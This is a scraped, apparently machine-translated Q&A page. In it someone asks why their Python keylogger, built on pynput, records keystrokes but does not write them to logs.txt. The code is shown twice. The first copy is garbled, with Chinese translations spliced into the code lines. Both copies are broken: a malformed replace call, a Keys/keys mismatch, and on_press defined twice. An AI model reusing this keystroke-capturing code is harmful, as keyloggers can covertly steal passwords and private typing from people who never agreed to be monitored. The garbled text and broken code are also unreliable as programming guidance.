[英]PYTHON. It doesn't create or write the keys into the file
import pynput导入pynput
from pynput.keyboard import Key, Listener from pynput.keyboard import Key, Listener
count = 0 Keys = []计数 = 0 键 = []
def on_press(key): global keys, count keys.append(key) count +=1 def on_press(key): 全局键,count keys.append(key) count +=1
print("{0} pressed".format (key))
if count >=5:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("logs.txt", "a") as f:
for key in keys:
k = str(key).replace("'" ",")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_press(key): print("{0} pressed".format(key)) def on_press(key): print("{0} 按下".format(key))
def on_release(key): if key == Key.esc: return False def on_release(key): if key == Key.esc: return False
with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()以 Listener(on_press=on_press, on_release=on_release) 作为侦听器:listener.join()
import pynput
from pynput.keyboard import Key, Listener
count = 0
Keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
def write_file(keys):
with open("logs.txt", "a") as f:
for key in keys:
k = str(key).replace("'" ",")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_press(key):
if count >=5:
count = 0
write_file(keys)
keys = []
print("{0} pressed".format(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.